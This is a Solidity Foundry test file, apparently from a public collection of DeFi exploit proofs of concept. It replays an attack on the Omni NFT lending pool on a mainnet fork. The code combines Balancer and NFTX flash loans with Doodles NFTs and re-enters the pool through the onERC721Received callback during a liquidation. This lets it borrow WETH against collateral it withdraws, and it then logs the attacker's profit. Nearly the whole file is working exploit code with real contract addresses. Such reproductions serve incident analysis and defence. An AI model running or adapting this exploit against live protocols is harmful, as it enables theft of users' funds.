-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Omni_exp.sol
366 lines (280 loc) · 11.6 KB
/
Omni_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// Credit: SupremacyCA, the poc rewritten from SupremacyCA.
contract ContractTest is Test {
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 doodle = IERC20(0x2F131C4DAd4Be81683ABb966b4DE05a549144443);
IDOODLENFTXVault doodleVault = IDOODLENFTXVault(0x2F131C4DAd4Be81683ABb966b4DE05a549144443);
IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IERC721 doodles = IERC721(0x8a90CAb2b38dba80c64b7734e58Ee1dB38B8992e);
ISushiSwap router = ISushiSwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
IOmni pool = IOmni(0xEBe72CDafEbc1abF26517dd64b28762DF77912a9);
address private constant NToken = 0x8a90CAb2b38dba80c64b7734e58Ee1dB38B8992e;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
uint256 private nonce;
address private immutable owner;
address private _lib;
bytes32 private constant RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
modifier onlyOwner() {
require(msg.sender == owner, "Not your biz!");
_;
}
constructor() {
cheats.createSelectFork("mainnet", 15_114_361); // fork mainnet at block 15114361
owner = msg.sender; // Hacker
}
function testExploit() public {
payable(address(0)).transfer(address(this).balance);
emit log_named_uint("Before exploiting, ETH balance of attacker:", address(this).balance);
address[] memory tokens = new address[](1);
tokens[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 1000 ether;
balancer.flashLoan(address(this), tokens, amounts, "");
}
function receiveFlashLoan(address[] memory, uint256[] memory, uint256[] memory, bytes memory) external {
require(msg.sender == address(balancer), "You are not a market maker for Flash Loan!");
doodle.approve(address(doodle), type(uint256).max);
doodles.setApprovalForAll(address(doodle), true);
doodleVault.flashLoan(address(this), address(doodle), 20 ether, "");
}
function onFlashLoan(address, address, uint256, uint256, bytes memory) external returns (bytes32) {
require(msg.sender == address(doodle), "You are not a market maker for Flash Loan!");
WETH.approve(address(router), type(uint256).max);
address[] memory _path = new address[](2);
_path[0] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH
_path[1] = 0x2F131C4DAd4Be81683ABb966b4DE05a549144443; // DOODLE
router.swapTokensForExactTokens(12e17, 200 ether, _path, address(this), block.timestamp);
uint256[] memory _specificIds = new uint256[](20);
_specificIds[0] = 4777;
_specificIds[1] = 4784;
_specificIds[2] = 2956;
_specificIds[3] = 7806;
_specificIds[4] = 4314;
_specificIds[5] = 7894;
_specificIds[6] = 9582;
_specificIds[7] = 1603;
_specificIds[8] = 4510;
_specificIds[9] = 6932;
_specificIds[10] = 1253;
_specificIds[11] = 6760;
_specificIds[12] = 9403;
_specificIds[13] = 1067;
_specificIds[14] = 179;
_specificIds[15] = 4017;
_specificIds[16] = 7165;
_specificIds[17] = 720;
_specificIds[18] = 5251;
_specificIds[19] = 7425;
doodleVault.redeem(20, _specificIds);
require(doodles.balanceOf(address(this)) >= 20, "redeem error.");
Lib lib = new Lib();
_lib = address(lib);
lib.approve();
uint256 length = _specificIds.length;
for (uint256 i = 0; i < length; i++) {
doodles.transferFrom(address(this), address(_lib), _specificIds[i]);
}
lib.joker();
uint256[] memory _amount = new uint256[](20);
for (uint256 j = 0; j < _amount.length; j++) {
_amount[j] = 0;
}
require(ILib(_lib).withdrawAll(), "Withdraw Error.");
require(doodleVault.mint(_specificIds, _amount) == 20, "Error Amounts.");
uint256 profit = getters();
emit log_named_uint("After exploiting, ETH balance of attacker:", address(this).balance);
return RETURN_VALUE;
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
if (msg.sender == NToken) {
if (nonce == 21) {
nonce++;
WETH.approve(address(pool), type(uint256).max);
pool.liquidationERC721(address(doodles), address(WETH), address(_lib), 7425, 100 ether, false);
return this.onERC721Received.selector;
} else if (nonce == 22) {
uint256[] memory _specificIds = new uint256[](3);
_specificIds[0] = 720;
_specificIds[1] = 5251;
_specificIds[2] = 7425;
uint256 length = _specificIds.length;
for (uint256 i = 0; i < length; i++) {
doodles.safeTransferFrom(address(this), address(_lib), _specificIds[i]);
}
nonce = 1337;
require(ILib(_lib).attack(), "Attack Error!");
return this.onERC721Received.selector;
} else {
nonce++;
return this.onERC721Received.selector;
}
} else {
return this.onERC721Received.selector;
}
}
function getters() internal returns (uint256) {
uint256[] memory _specificIds = new uint256[](20);
_specificIds[0] = 4777;
_specificIds[1] = 4784;
_specificIds[2] = 2956;
_specificIds[3] = 7806;
_specificIds[4] = 4314;
_specificIds[5] = 7894;
_specificIds[6] = 9582;
_specificIds[7] = 1603;
_specificIds[8] = 4510;
_specificIds[9] = 6932;
_specificIds[10] = 1253;
_specificIds[11] = 6760;
_specificIds[12] = 9403;
_specificIds[13] = 1067;
_specificIds[14] = 179;
_specificIds[15] = 4017;
_specificIds[16] = 7165;
_specificIds[17] = 720;
_specificIds[18] = 5251;
_specificIds[19] = 7425;
uint256[] memory _amounts = new uint256[](20);
_amounts[0] = 0;
_amounts[1] = 0;
_amounts[2] = 0;
_amounts[3] = 0;
_amounts[4] = 0;
_amounts[5] = 0;
_amounts[6] = 0;
_amounts[7] = 0;
_amounts[8] = 0;
_amounts[9] = 0;
_amounts[10] = 0;
_amounts[11] = 0;
_amounts[12] = 0;
_amounts[13] = 0;
_amounts[14] = 0;
_amounts[15] = 0;
_amounts[16] = 0;
_amounts[17] = 0;
_amounts[18] = 0;
_amounts[19] = 0;
WETH.transfer(address(balancer), 1000 ether);
uint256 balance = WETH.balanceOf(address(this));
WETH.withdraw(balance);
return address(this).balance;
}
receive() external payable {}
}
contract Lib {
address private immutable exp;
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 doodle = IERC20(0x2F131C4DAd4Be81683ABb966b4DE05a549144443);
IERC721 doodles = IERC721(0x8a90CAb2b38dba80c64b7734e58Ee1dB38B8992e);
IOmni pool = IOmni(0xEBe72CDafEbc1abF26517dd64b28762DF77912a9);
address private constant NToken = 0x8a90CAb2b38dba80c64b7734e58Ee1dB38B8992e;
modifier onlyExp() {
require(msg.sender == exp, "Not your biz!");
_;
}
constructor() {
exp = msg.sender;
}
function approve() external onlyExp {
doodles.setApprovalForAll(address(pool), true);
WETH.approve(address(pool), type(uint256).max);
}
function joker() external onlyExp {
DataTypes.ERC721SupplyParams[] memory _params = new DataTypes.ERC721SupplyParams[](3);
_params[0].tokenId = 720;
_params[0].useAsCollateral = true;
_params[1].tokenId = 5251;
_params[1].useAsCollateral = true;
_params[2].tokenId = 7425;
_params[2].useAsCollateral = true;
pool.supplyERC721(address(doodles), _params, address(this), 0);
(,, uint256 amount,,,,) = pool.getUserAccountData(address(this));
pool.borrow(address(WETH), amount, 2, 0, address(this));
uint256[] memory tokenIds = new uint256[](2);
tokenIds[0] = 720;
tokenIds[1] = 5251;
require(pool.withdrawERC721(address(doodles), tokenIds, address(exp)) == 2, "Withdraw Error.");
}
function attack() external onlyExp returns (bool) {
doodles.setApprovalForAll(address(pool), true);
DataTypes.ERC721SupplyParams[] memory _params = new DataTypes.ERC721SupplyParams[](20);
_params[0].tokenId = 4777;
_params[0].useAsCollateral = true;
_params[1].tokenId = 4784;
_params[1].useAsCollateral = true;
_params[2].tokenId = 2956;
_params[2].useAsCollateral = true;
_params[3].tokenId = 7806;
_params[3].useAsCollateral = true;
_params[4].tokenId = 4314;
_params[4].useAsCollateral = true;
_params[5].tokenId = 7894;
_params[5].useAsCollateral = true;
_params[6].tokenId = 9582;
_params[6].useAsCollateral = true;
_params[7].tokenId = 1603;
_params[7].useAsCollateral = true;
_params[8].tokenId = 4510;
_params[8].useAsCollateral = true;
_params[9].tokenId = 6932;
_params[9].useAsCollateral = true;
_params[10].tokenId = 1253;
_params[10].useAsCollateral = true;
_params[11].tokenId = 6760;
_params[11].useAsCollateral = true;
_params[12].tokenId = 9403;
_params[12].useAsCollateral = true;
_params[13].tokenId = 1067;
_params[13].useAsCollateral = true;
_params[14].tokenId = 179;
_params[14].useAsCollateral = true;
_params[15].tokenId = 4017;
_params[15].useAsCollateral = true;
_params[16].tokenId = 7165;
_params[16].useAsCollateral = true;
_params[17].tokenId = 720;
_params[17].useAsCollateral = true;
_params[18].tokenId = 5251;
_params[18].useAsCollateral = true;
_params[19].tokenId = 7425;
_params[19].useAsCollateral = true;
pool.supplyERC721(address(doodles), _params, address(this), 0);
(,, uint256 amount,,,,) = pool.getUserAccountData(address(this));
pool.borrow(address(WETH), amount, 2, 0, address(this));
return true;
}
function withdrawAll() external onlyExp returns (bool) {
uint256[] memory _specificIds = new uint256[](20);
_specificIds[0] = 4777;
_specificIds[1] = 4784;
_specificIds[2] = 2956;
_specificIds[3] = 7806;
_specificIds[4] = 4314;
_specificIds[5] = 7894;
_specificIds[6] = 9582;
_specificIds[7] = 1603;
_specificIds[8] = 4510;
_specificIds[9] = 6932;
_specificIds[10] = 1253;
_specificIds[11] = 6760;
_specificIds[12] = 9403;
_specificIds[13] = 1067;
_specificIds[14] = 179;
_specificIds[15] = 4017;
_specificIds[16] = 7165;
_specificIds[17] = 720;
_specificIds[18] = 5251;
_specificIds[19] = 7425;
pool.withdrawERC721(address(doodles), _specificIds, address(exp));
uint256 balance = WETH.balanceOf(address(this));
WETH.transfer(address(exp), balance);
return true;
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
}